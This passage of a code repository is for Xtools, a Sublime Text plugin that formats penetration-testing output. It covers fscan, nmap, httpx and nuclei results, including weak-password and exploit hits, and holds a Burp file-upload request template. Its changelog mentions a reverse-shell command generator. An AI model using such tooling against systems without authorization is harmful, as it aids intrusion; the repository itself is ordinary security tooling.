linux\n#HOME = \"C:\\\\Users\\\\\" + u\"<用户名>\"  # windows\nworkdir = os.path.join(HOME,'.xtools')\n```\n#### 功能灰色无法使用\n* 检查系统用户名是否为 **中文**\n* 检查工具文件夹名称是否为 Xtools\n* 检查 applescript 压缩包是否解压\n* 查看 issues\n  ```\n  https://github.com/chasingboy/Xtools/issues\n  ```\n### 新版本 Sublime Text 无法正常使用\n在新版本的 Sublime Text（版本4166~4199）中，部分接口有变化导致 xtools 部分功能失效。可以通过修改 xtools.py 中的代码修复 Bug。\n```python\n# 修改 new_view 函数\n# 注释 new_view.insert(edit, 0, text.strip())\n# 使用 new_view.run_command('insert', {'characters': text.strip()})\n\n# 新版本\ndef new_view(view, edit, text):\n    new_view = view.window().new_file()\n    new_view.set_scratch(True)\n    # 旧版本 Sublime Text\n    # new_view.insert(edit, 0, text.strip())\n    # 新版本 Sublime Text\n    new_view.run_command('insert', {'characters': text.strip()})\n    view.window().focus_view(new_view)\n```\n> `new_view.run_command('insert', {'characters': text.strip()})` 新旧版本都兼容，Xtools 最新版本默认启用\n\n<img width=\"1562\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/2c255868-fa2c-4e57-a6f3-c61e9a9e8e3f\">\n\n### Xtools 中文版设置\n[Xtools] --> [Xtools Setting] --> [English 🔜 Chinese]\n\n### Xtools 主题设置\nXtools 整合了 Palenight 和 Catppuccin 两款主题，便于格式化 httpx｜nuclei｜fscan 等结果。\n\n<img width=\"1460\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e4ebea57-1c49-4b09-aa00-2771caaddf50\">\n\n### 公众号\n该公众号用于编写 Xtools 系列工具使用文档和工具更新通知\n\n<p align=\"center\"><img width=\"300\" alt=\"image\" src=\"https://github.com/chasingboy/appsx/blob/main/assets/xsec.png\"></p>\n\n### 特别感谢\n* xinyu2428@ https://github.com/xinyu2428/HTML_TOOLS\n* linkfinder@ https://github.com/GerbenJavado/LinkFinder\n* ZororoZ@ https://github.com/ZororoZ/fscanOutput/tree/main\n* aaaaa_ascii@ https://blog.csdn.net/aaaaa_ascii/article/details/131956793\n\n\n### 更新记录\n[+] 2023-07-15【新增】Windows 命令行调用支持。\n\n[+] 2023-07-18【新增】一键排序去重、提取 javascript 文件路由。\n\n[+] 2023-08-28【新增】提取 IP 段｜转换 ipv4 支持 192.168.1.1-10 等格式\n\n[+] 2023-12-15【修复】新版本 Sublime Text 中部分功能 Bug\n\n[+] 2024-01-02【新增】URL 编码解码｜nmap 扫描结果转换｜反弹shell命令生成\n\n[+] 2024-01-02【新增】中文版配置文件｜临时记事本\n\n[+] 2024-01-03【修改】applescript 模块为解压状态，不需要手动解压\n\n[+] 2024-04-14【修复】把 panel 显示转为新文件显示，适应新版本 Sublime Text\n\n[+] 2024-04-22【新增】fscan｜httpx｜nuclei 结果整理功能\n\n[+] 2024-05-19【新增】添加前缀｜后缀 功能｜修复 nmap 结果转换 bug\n\n[+] 2024-11-10【新增】统计 ipv4 次数功能\n\n[+] 2024-05-27【新增】提取 ip:port 格式功能\n\n[+] 2024-05-29【修复】fscan 新版本(1.8.x)结果整理 bug\n\n[+] 2024-07-18【新增】Xtools 主题设置功能\n\n[+] 2024-09-05【修改】Xtools 页面布局｜增加一键中英文切换功能\n\n[+] 2024-10-20【新增】nmap 提取结果格式 domain:port\n\n[+] 2024-11-18【新增】dirsx 结果分类和整理\n\n[+] 2024-11-18【修复】路由提取 Bug\n"
  },
  {
    "path": "__init__.py",
    "content": "\n"
  },
  {
    "path": "applescript/__init__.py",
    "content": "\n"
  },
  {
    "path": "applescript/_result.py",
    "content": "\nclass Result:\n    code = None\n    out = None\n    err = None\n\n    def __init__(self,code,out,err):\n        self.code = code\n        self.out = out.decode(\"utf-8\").rstrip()\n        self.err = err.decode(\"utf-8\").rstrip()\n"
  },
  {
    "path": "applescript/_run.py",
    "content": "import os\nimport subprocess\n\nfrom ._result import Result\nfrom ._temp import _tempfile\n\ndef _run(script, background=False, javascript=False):\n    \"\"\"run script file/string\"\"\"\n    if not background:\n        args = [\"osascript\", \"-l\", \"JavaScript\", \"-\"] if javascript else [\"osascript\", \"-\"]\n        kwargs = dict(stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n    else:\n        f = script if os.path.exists(script) else _tempfile()\n        if not os.path.exists(script):\n            open(f,'w').write(script)\n        args = [\"osascript\", \"-l\", \"JavaScript\", f] if javascript else [\"osascript\", f]\n        kwargs = {'stdout':open(os.devnull, 'wb'),'stderr':open(os.devnull, 'wb')}\n    proc = subprocess.Popen(args,**kwargs)\n    if not background:\n        cmd = open(script).read() if os.path.exists(script) else script\n        out, err = proc.communicate(input=cmd.encode(\"utf-8\"))\n        return Result(proc.returncode,out, err)\n"
  },
  {
    "path": "applescript/_temp.py",
    "content": "import os\nfrom tempfile import mkstemp\n\n\ndef _tempfile():\n    f, path = mkstemp()\n    os.close(f)\n    return path\n"
  },
  {
    "path": "applescript/tell.py",
    "content": "__all__ = ['app']\n\nfrom ._run import _run\n\ndef app(appname, applescript, background=False):\n    \"\"\"execute applescript `tell application \"VLC\" ...`\"\"\"\n    cmd = \"\"\"tell app \"%s\"\n    %s\nend tell\n\"\"\" % (appname, applescript)\n    return _run(cmd,background)\n"
  },
  {
    "path": "config.py",
    "content": "# config\n\nfilter_domains = '''\n.163jiasu.com\n.1test.cn\n.21okglb.cn\n.21vianet.com.cn\n.21vokglb.cn\n.360cdn.cn\n.360qhcdn.com\n.360wzb.cn\n.360wzb.com\n.51cdn.com\n.5test.cn\n.acadn.com\n.afxcdn.net\n.aicdn.com\n.akadns.net\n.akamai.\n.akamai.com\n.akamaiedge.net\n.akamai.net\n.akamai-staging.net\n.akamaitech.net\n.akamaitechnologies.com\n.akamaized.net\n.alicdn.com\n.alicloudlayer.com\n.alicloudsec.com\n.alikunlun.com\n.alikunlun.net\n.alivecdn.com\n.aliyuncs.com\n.aliyun-inc.com\n.amazonaws.com\n.aodianyun.com\n.aqb.so\n.att-dsa.net\n.awsdns\n.ay1.b.yahoo.com\n.azureedge.\n.azureedge.net\n.b2r.com.cn\n.baiduyundns.cn\n.baiduyundns.com\n.baiduyundns.net\n.bcedns.cn\n.bcedns.com\n.bcedns.net\n.bdydns.cn\n.bdydns.com\n.bdydns.net\n.bitgravity.\n.bitgravity.com\n.bluehatnetwork.com\n.blueit.com\n.blueit.org.cn\n.bsclink.cn\n.c3cache.net\n.c3cdn.net\n.cachecn.com\n.cachecn.net\n.cachefly.\n.cachefly.net\n.cap-mii.net\n.cc-1.com\n.ccbench.com\n.cc-cps.cn\n.cc-cps.com\n.cc-cps.com.cn\n.cc-cps.mobi\n.cc-cps.net\n.ccgslb.cn\n.ccgslb.com\n.ccgslb.com.cn\n.ccgslb.net\n.ccgslb.net.cn\n.ccindex.cn\n.ccindex.com.cn\n.ccmplus.cn\n.ccmplus.com.cn\n.ccmplus.net\n.cdn2cdn.net\n.cdn77.net\n.cdn77.org\n.cdn.bitgravity.com\n.cdn.cloudflare.net\n.cdnetworks.net\n.cdngc.net\n.cdngslb.com\n.cdnhwc2.com\n.cdnify.io\n.cdn.qshyy.cn\n.cdnsun.net\n.cdnsvc.cn\n.cdnsvc.com\n.cdnsvc.com.cn\n.cdnsvc.net\n.cdnsvc.net.cn\n.cdn.telefonica.com\n.cdntip.com\n.cdnudns.com\n.chinacache.com\n.chinacache.com.cn\n.chinacache.net\n.chinacache.org\n.chinacdnweb.qiniu.com\n.chinaidns.net\n.chinanetcenter.com\n.clients.turbobytes.net\n.cloudcdn.cn\n.cloudcdn.net\n.clouddn.com\n.cloudflare\n.cloudflare.com\n.cloudfront.\n.cloudfront.net\n.cloudglb.com\n.cloudglb.net\n.cloudtcp.net\n.cloudxns.com\n.cloudxns.net\n.cncssr.chinacache.net\n.customcdn.cn\n.customcdn.com\n.dnion.com\n.dnspao.com\n.dnsv1.\n.dnsv1.com\n.dwion.com\n.edgecast.\n.edgecastcdn.net\n.edgekey.\n.edgekey.net\n.edgesuite.net\n.ewcache.com\n.fastcache.com\n.fastcdn.com\n.fastly.\n.fastlylb.net\n.fastly.net\n.fastwebcdn.com\n.fastweb.com.cn\n.ffdns.net\n.footprint.\n.footprint.net\n.fpbns.\n.fpbns.net\n.fsspace.cn\n.fsspace.com\n.fsspace.com.cn\n.fwcdn.com\n.fwcdn.net\n.fwdns.net\n.fwmob.com\n.gccdn.cn\n.gccdn.net\n.globalcdn.cn\n.googlesyndication.\n.googleusercontent.com\n.gslbsvc.cn\n.gslbsvc.com\n.gslbsvc.com.cn\n.gslbsvc.net\n.gslbsvc.net.cn\n.gslb.taobao.com\n.gslb.tbcache.com\n.hacdn.com\n.hacdn.net\n.hadns.net\n.hd-cdn.com\n.hdslb.com\n.hdslb.net\n.hiberniacdn.com\n.hichina.com\n.hichina.net\n.hwcdn.net\n.ialicdn.com\n.igslb.net\n.incapdns.\n.incapdns.net\n.inscname.net\n.insnw.net\n.instacontent.net\n.jcloud-cdn.com\n.jiashule.com\n.jiasule.org\n.jomodns.com\n.ks-cdn1.com\n.ksyuncdn.com\n.kunlunaq.com\n.kunlunar.com\n.kunlunca.com\n.kunluncan.com\n.kunlun.com\n.kunlunea.com\n.kunlungem.com\n.kunlungr.com\n.kunlunhuf.com\n.kunlunle.com\n.kunlunli.com\n.kunlunno.com\n.kunlunpi.com\n.kunlunra.com\n.kunlunsa.com\n.kunlunsc.com\n.kunlunsl.com\n.kunlunso.com\n.kunlunta.com\n.kunlunvi.com\n.kunlunwe.com\n.kxcdn.com\n.l.doubleclick.net\n.letvcdn.com\n.lldns.net\n.llnwd.\n.llnwd.net\n.lswcdn.net\n.lxdns.com\n.lxdns.net\n.lxsvc.cn\n.lxsvc.net\n.mirror-image.net\n.mncdn.com\n.mschcdn.com\n.mwcloudcdn.com\n.myalicdn.com\n.myxns.cn\n.myxns.com.cn\n.myxns.net.cn\n.myxns.org\n.netcenter.com.cn\n.netdna.\n.netdna-cdn.com\n.netdna.com\n.netdna-ssl.com\n.newdefend.cn\n.newdefend.com\n.newdefend.com.cn\n.newdefend.net\n.newdefend.net.cn\n.newdefend.org\n.newdefend.org.cn\n.ngenix.\n.okglb.com\n.ourglb0.com\n.ourwebat.com\n.ourwebcdn.com\n.ourwebcdn.net\n.ourwebpic.com\n.panthercdn.com\n.pilidns.com\n.qbox.me\n.qihucdn.com\n.qingcdn.com\n.qiniudn.com\n.qiniudns.com\n.rncdn1.com\n.shifen.com\n.simplecdn.net\n.spcdntip.com\n.spdydns.com\n.speedcdns.com\n.speedupchina.com\n.speedupchina.net\n.stackpathdns.com\n.swiftcdn1.com\n.swiftserve.com\n.sz-dns.net\n.tbcache.com\n.tc.cdntip.com\n.tcdn.qq.com\n.tcloudscdn.com\n.tdnsv8.com\n.telefonica.\n.tlgslb.com\n.trpcdn.net\n.txcdn.cn\n.txnetworks.cn\n.ucloud.cn\n.unicache.com\n.verycdn.net\n.verygslb.com\n.vo.llnwd.net\n.vo.msecnd.net\n.wangsu.com\n.webluker.com\n.wscdns.com\n.wscloudcdn.com\n.wsdvs.com\n.wsglb0.com\n.wsngb.com\n.xgslb.net\n.yunjiasu-cdn.net\n.zenedge.net\n.dns.com\n'''.strip('\\n').split('\\n')\n\n\nfilter_hosts = '''\n223.5.5.5\n223.6.6.6\n114.114.114.114\n114.114.115.115\n180.76.76.76\n119.29.29.29\n182.254.116.116\n8.8.8.8\n8.8.4.4\n9.9.9.9\n9.9.9.10\n149.112.112.112\n4.2.2.1\n4.2.2.2\n4.2.2.3\n4.2.2.4\n4.2.2.5\n4.2.2.6\n1.1.1.1\n1.0.0.1\n1.0.0.2\n1.0.0.3\n1.0.0.19\n208.67.222.222\n208.67.220.220\n8.26.56.26\n8.20.247.20\n84.200.69.80\n84.200.70.40\n185.228.168.9\n185.228.169.9\n64.6.64.6\n64.6.65.6\n198.101.242.72\n23.253.163.53\n176.103.130.130\n176.103.130.131\n'''.strip('\\n').split('\\n')\n\n\ntop_sufix = 'cc|aero|arpa|asia|biz|cat|com|coop|edu|gov|int|info|jobs|mil|mobi|museum|name|net|org|pro|tel|trave|xxx|digital|run'\n\n#cn_sufix = 'ac.cn|ah.cn|bj.cn|com.cn|cq.cn|fj.cn|gd.cn|gov.cn|gs.cn|gx.cn|gz.cn|ha.cn|hb.cn|he.cn|hi.cn|hk.cn|hl.cn|hn.cn|jl.cn|js.cn|jx.cn|ln.cn|mo.cn|net.cn|nm.cn|nx.cn|org.cn|edu.cn|'\n\n# .ac|.ad|.ae|.af|.ag|.ai|.al|.am|.an|.ao|.aq|.ar|.as|.at|.au|.aw|.az|.ba|.bb|.bd|.be|.bf|.bg|.bh|.bi|.bj|.bm|.bn|.bo|.br|.bs|.bt|.bv|.bw|.by|.bz|.ca|.cc|.cd|.cf|.cg|.ch|.ci|.ck|.cl|.cm|.cn|.co|.cr|.cu|.cv|.cx|.cy|.cz|.de|.dj|.dk|.dm|.do|.dz|.ec|.ee|.eg|.eh|.er|.es|.et|.eu|.fi|.fj|.fk|.fm|.fo|.fr|.ga|.gd|.ge|.gf|.gg|.gh|.gi|.gl|.gm|.gn|.gp|.gq|.gr|.gs|.gt|.gu|.gw|.gy|.hk|.hm|.hn|.hr|.ht|.hu|.id|.ie|.il|.im|.in|.io|.iq|.ir|.is|.it|.je|.jm|.jo|.jp|.ke|.kg|.kh|.ki|.km|.kn|.kp|.kr|.kw|.ky|.kz|.la|.lb|.lc|.li|.lk|.lr|.ls|.lt|.lu|.lv|.ly|.ma|.mc|.md|.me|.mg|.mh|.mk|.ml|.mm|.mn|.mo|.mp|.mq|.mr|.ms|.mt|.mu|.mv|.mw|.mx|.my|.mz|.na|.nc|.ne|.nf|.ng|.ni|.nl|.no|.np|.nr|.nu|.nz|.om|.pa|.pe|.pf|.pg|.ph|.pk|.pl|.pm|.pn|.pr|.ps|.pt|.pw|.py|.qa|.re|.ro|.ru|.rw|.sa|.sb|.sc|.sd|.se|.sg|.sh|.si|.sj|.sk|.sl|.sm|.sn|.so|.sr|.st|.sv|.sy|.sz|.tc|.td|.tf|.tg|.th|.tj|.tk|.tl|.tm|.tn|.to|.tp|.tr|.tt|.tv|.tw|.tz|.ua|.ug|.uk|.um|.us|.uy|.uz|.va|.vc|.ve|.vg|.vi|.vn|.vu|.wf|.ws|.ye|.yr|.yt|.yu|.za|.zm|.zw\ncountry_sufix = 'ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yr|yt|yu|za|zm|zw'\n\nfile_upload_package = '''\n### File upload format data\n### Copy and paste on burpsuite\n\n```\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzKD4Hm0eKYto9ERE\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Length: 277\n\n------WebKitFormBoundaryzKD4Hm0eKYto9ERE\nContent-Disposition: form-data; name=\"x\"\n\n\n------WebKitFormBoundaryzKD4Hm0eKYto9ERE\nContent-Disposition: form-data; name=\"filename\"; filename=\"x.png\"\nContent-Type: image/png\n\ntest\n------WebKitFormBoundaryzKD4Hm0eKYto9ERE--\n```\n'''\n\n"
  },
  {
    "path": "lib/Xtools-Text.sublime-syntax",
    "content": "%YAML 1.2\n---\n# http://www.sublimetext.com/docs/syntax.html\nname: Xtools Text\nfile_extensions:\n  - txt\nscope: source.python\ncontexts:\n  main:\n    #- match: \\b(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?)?)\\b\n    #  scope: keyword.control.python\n\n    #- match: \\b(https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])\\b\n    #  scope: keyword.control\n\n    - meta_scope: meta.group\n    - meta_content_scope: meta.content\n    - match: (\\[)\n      scope: punctuation.begin\n      embed: embed\n      escape: (\\])\n      escape_captures:\n        0: punctuation.end\n\n    # fscan\n    - match: (?i)(SSH|RDP|SMB|SMB2-shares):.+\n      scope: xtools.red\n\n    - match: (?i)(Mysql|Oracle|Mssql|Mongodb|Postgres):.+\n      scope: xtools.blue\n\n    - match: (?i)(redis|Mongodb|ftp|Memcached):.+\n      scope: xtools.peach\n\n\n  embed:\n    - match: (200|206)$\n      scope: xtools.green\n\n    - match: (301|302|305|307)$\n      scope: xtools.mauve\n\n    - match: (400|401|402|403|404|406|416)$\n      scope: xtools.red\n\n    - match: (500|501|502|503)$\n      scope: xtools.peach\n\n    - match: (http|tcp|file|ssl)$\n      scope: xtools.pink\n\n    - match: (info$)\n      scope: xtools.blue\n\n    - match: (?i)(low)\n      scope: xtools.green\n\n    - match: (?i)(medium)\n      scope: xtools.peach\n\n    - match: (?i)(high|critical)\n      scope: xtools.red\n\n    - match: (?i)(nginx|apache|tomcat|phpinfo|php|phpmyadmin|java|node|Tengine|Spring|HSTS|\\ |,)\n      scope: xtools.red\n\n    # title keyword\n    - match: (?i)(login|Swagger\\ UI|Admin|{\"swagger\"|druid|{\"openapi\")\n      scope: xtools.red\n\n    - match: (?i)(admin|root):.+\n      scope: xtools.peach\n\n    - match: (?i)(Finger:\\ Null)\n      scope: xtools.comment\n\n    - match: (?i)(Finger:.+)\n      scope: xtools.red\n\n    - match: ([\\d])+$\n      scope: xtools.blue\n\n    - match: .*(400|401|402|403|404|406|416|500|501|502|503).*\n      scope: xtools.peach\n\n    - match: .+[\\w\\d\\s\\u4e00-\\u9fa5\\-].+\n      scope: xtools.sky\n\n"
  },
  {
    "path": "lib/format_tools_result.py",
    "content": "# -*- coding=utf-8 -*-\n\nimport re\n\nheader = '''\n+--------+--------+---------+-----------+--------------+------------+\n|  Code  |   Url  |   Len   |   Title   |   Redirect   |   Finger   |\n+--------+--------+---------+-----------+--------------+------------+\\n\n'''.lstrip()\n\n\ndef select_ip_port(text:str) -> str:\n    ip_port_list = re.findall(\n        r'(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}):(\\d+)\\ open', text\n    )\n    if ip_port_list == []:\n        return 'ip:port 结果为空'\n    \n    ip_port_list = [('{ip}:{port} open'.format(ip=line[0],port=line[1])) for line in ip_port_list]\n    return '\\n'.join(ip_port_list)\n\n\ndef select_web_poc(text:str) ->str:\n    web_poc_list = re.findall(r'(http.*?) (poc-.*)', text)\n    if web_poc_list == []:\n        return 'POC 检测漏洞结果为空'\n    \n    web_poc_list = [('{url} {poc}').format(url=line[0],poc=line[1]) for line in web_poc_list]\n    return '[+] ' + '\\n[+] '.join(web_poc_list)\n    \n\n\ndef select_web_info(text:str) ->str:\n    web_list = re.findall(\n        r'WebTitle:?\\s*(http.*?)\\s+code:(\\d+)\\s+len:(.*?)\\s+title:(.*?)\\n', text+'\\n'\n    )\n\n    if web_list == []:\n        return 'Web Code｜Title 等信息为空'\n\n    finger_list = re.findall(r'InfoScan:?\\s*(http.*?)\\s+\\[(.*?)]', text)\n    \n    webinfo = []\n    for line in web_list:\n        finger = 'Null'\n        for x in finger_list:\n            if line[0] == x[0]:\n                finger = x[1]\n                break\n        \n        webinfo.append(\n            '[{code}] {url} [{length}] [{title}] [Finger: {finger}]'.format(\n                url=line[0],code=line[1],length=line[2],title=line[3],finger=finger)\n        )\n\n    webinfo = '\\n'.join(sorted(webinfo)).replace(' 跳转url: ','] [Redirect-> ')\n    return header + webinfo\n\n\ndef select_ip_exp(text:str) -> str:\n    ip_exp_list = re.findall(\n            r'\\[\\+]\\s*(.*)\\s*(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(.*)', text\n    )\n    if ip_exp_list == []:\n        return 'Exp 检测漏洞结果为空'\n    \n    ip_exp_list = [(' '.join(line)).strip() for line in ip_exp_list]\n    \n    ip_exp_list = [\n        line for line in ip_exp_list if (\n            line.startswith('http') == False and line.startswith('InfoScan') == False\n        )\n    ]\n    \n    return '[+] ' + '\\n[+] '.join(ip_exp_list)\n\n\ndef select_weak_password(text:str) -> str:\n    weak_password_list = re.findall(\n        r'\\[\\+\\]\\s*((ftp|Mysql|Mssql|SMB|RDP|Postgres|SSH|Oracle|SMB2-shares|redis|Mongodb|Memcached)(:|\\s).+)\\n', text, re.I\n    )\n    if weak_password_list == []:\n        return '弱口令检查结果为空'\n    \n    weak_password_list = sorted([line[0] for line in weak_password_list])\n\n    weak_password, server = '',''\n    for line in weak_password_list:\n        if server == line.split(':',1)[0]:\n            weak_password += '[+] {}\\n'.format(line)\n        else:\n            weak_password += '\\n[+] {}\\n'.format(line)\n            server = line.split(':',1)[0]\n\n    return weak_password\n\n\ndef select_os_info(text:str) -> str:\n    # OS | NetBios | NetInfo\n    osinfo = ''\n    \n    os_list = re.findall(r\"\\[\\*]\\s*(\\d+\\.\\d+\\.\\d+\\.\\d+..+)\", text)\n    for line in os_list:\n        osinfo += '[*] {}\\n'.format(line)\n\n    # NetBios:\\s*(.*?)\\s+(.*?\\S)\\s+(.*)\n    netbios_list = re.findall(r'(NetBios:?\\s*\\d+\\.\\d+\\.\\d+\\.\\d+..+)', text)\n    for line in netbios_list:\n        osinfo += '[*] {}\\n'.format(line)\n\n    netinfo_list = re.findall(r'(NetInfo:?\\n\\[\\*]\\s*\\d+\\.\\d+\\.\\d+\\.\\d+\\s*\\n(\\s*\\[\\->].+\\n)*)', text)\n    netinfo_list = [line[0] for line in netinfo_list]\n\n    for line in netinfo_list:\n        osinfo += '[*] {}\\n'.format(line.replace(' ',''))\n\n    if osinfo == '':\n        return '主机信息探测结果为空'\n   \n    return osinfo.rstrip('\\n[*] ')\n\n\ndef classify_fscan_result(text:str) -> dict:\n    ip_ports, web_poc, web_info, ip_exp, weak_password, os_info = (\n        select_ip_port(text),\n        select_web_poc(text),\n        select_web_info(text),\n        select_ip_exp(text),\n        select_weak_password(text),\n        select_os_info(text)\n    )\n\n    results = {\n        'ip-port.txt': ip_ports,\n        'web-poc.txt': web_poc,\n        'web-info.txt': web_info,\n        'ip-exp.txt': ip_exp,\n        'weak-password.txt': weak_password,\n        'os-info.txt': os_info\n    }\n    \n    return results\n\n\n# Reference\n# https://blog.csdn.net/aaaaa_ascii/article/details/131956793\n\n\ndef format_dirsx_result(text:str) -> str:\n    texts, results = text.split('\\n'), []\n    \n    for text in texts:\n        try:\n            assert text.startswith('[RET]')\n            _, code, end = text.split(' ', 2)\n        except:\n            continue\n\n        results.append('{code} {end}'.format(code=code, end=end))\n\n    if results == []:\n        return '[waring-dirsx] The result format is not supported! Please read the docs'\n\n    return '\\n'.join(sorted(results))  \n"
  },
  {
    "path": "themes/Breakers.sublime-color-scheme",
    "content": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rules\":\n\t[\n\t\t{\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(orange)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(pink)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(blue2)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(grey2)\"\n        },\n\t]\n}\n"
  },
  {
    "path": "themes/Catppuccin Macchiato.sublime-color-scheme",
    "content": "{\n    \"name\": \"Catppuccin\",\n    \"author\": \"Catppuccin Org\",\n\n    \"variables\": {\n        \"rosewater\": \"#f4dbd6\",\n        \"flamingo\": \"#f0c6c6\",\n        \"pink\": \"#f5bde6\",\n        \"mauve\": \"#c6a0f6\",\n        \"red\": \"#ed8796\",\n        \"maroon\": \"#ee99a0\",\n        \"peach\": \"#f5a97f\",\n        \"yellow\": \"#eed49f\",\n        \"green\": \"#a6da95\",\n        \"teal\": \"#8bd5ca\",\n        \"sky\": \"#91d7e3\",\n        \"sapphire\": \"#7dc4e4\",\n        \"blue\": \"#8aadf4\",\n        \"lavender\": \"#b7bdf8\",\n        \"text\": \"#cad3f5\",\n        \"subtext1\": \"#b8c0e0\",\n        \"subtext0\": \"#a5adcb\",\n        \"overlay2\": \"#939ab7\",\n        \"overlay1\": \"#8087a2\",\n        \"overlay0\": \"#6e738d\",\n        \"surface2\": \"#5b6078\",\n        \"surface1\": \"#494d64\",\n        \"surface0\": \"#363a4f\",\n        \"base\": \"#24273a\",\n        \"mantle\": \"#1e2030\",\n        \"crust\": \"#181926\"\n    },\n\n    \"globals\": {\n        \"foreground\": \"var(text)\",\n        \"background\": \"var(base)\",\n        \"caret\": \"var(subtext1)\",\n        \"invisibles\": \"color(var(overlay2) alpha(0.4))\",\n        \"gutter_foreground\": \"var(overlay2)\",\n        \"gutter_foreground_highlight\": \"var(green)\",\n        \"line_highlight\": \"color(var(text) alpha(0.07))\",\n        \"selection\": \"color(var(overlay1) alpha(0.4))\",\n        \"selection_border\": \"var(base)\",\n        \"active_guide\": \"color(var(peach) alpha(0.5))\",\n        \"find_highlight_foreground\": \"var(mantle)\",\n        \"find_highlight\": \"var(yellow)\",\n        \"brackets_options\": \"underline\",\n        \"brackets_foreground\": \"color(var(overlay2) alpha(0.5))\",\n        \"bracket_contents_options\": \"underline\",\n        \"bracket_contents_foreground\": \"color(var(overlay2) alpha(0.5))\",\n        \"tags_options\": \"stippled_underline\"\n    },\n    \"rules\": [\n        {\n            \"scope\": \"meta.semantic-token\",\n            \"background\": \"#00000101\"\n        },\n        {\n            \"name\": \"Comment\",\n            \"scope\": \"comment\",\n            \"foreground\": \"var(overlay1)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"String\",\n            \"scope\": \"string\",\n            \"foreground\": \"var(green)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"String regex\",\n            \"scope\": \"string.regexp\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Number\",\n            \"scope\": \"constant.numeric\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Boolean\",\n            \"scope\": \"constant.language.boolean\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Built-in constant\",\n            \"scope\": \"constant.language\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Built-in function\",\n            \"scope\": \"support.function.builtin\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"User-defined constant\",\n            \"scope\": \"variable.other.constant\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Symbol\",\n            \"scope\": \"constant.other.symbol\",\n            \"foreground\": \"var(yellow)\"\n        },\n        {\n            \"name\": \"Variable\",\n            \"scope\": \"variable\"\n        },\n        {\n            \"name\": \"Keyword\",\n            \"scope\": \"keyword\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Conditional/loop\",\n            \"scope\": \"keyword.control.loop, keyword.control.conditional, 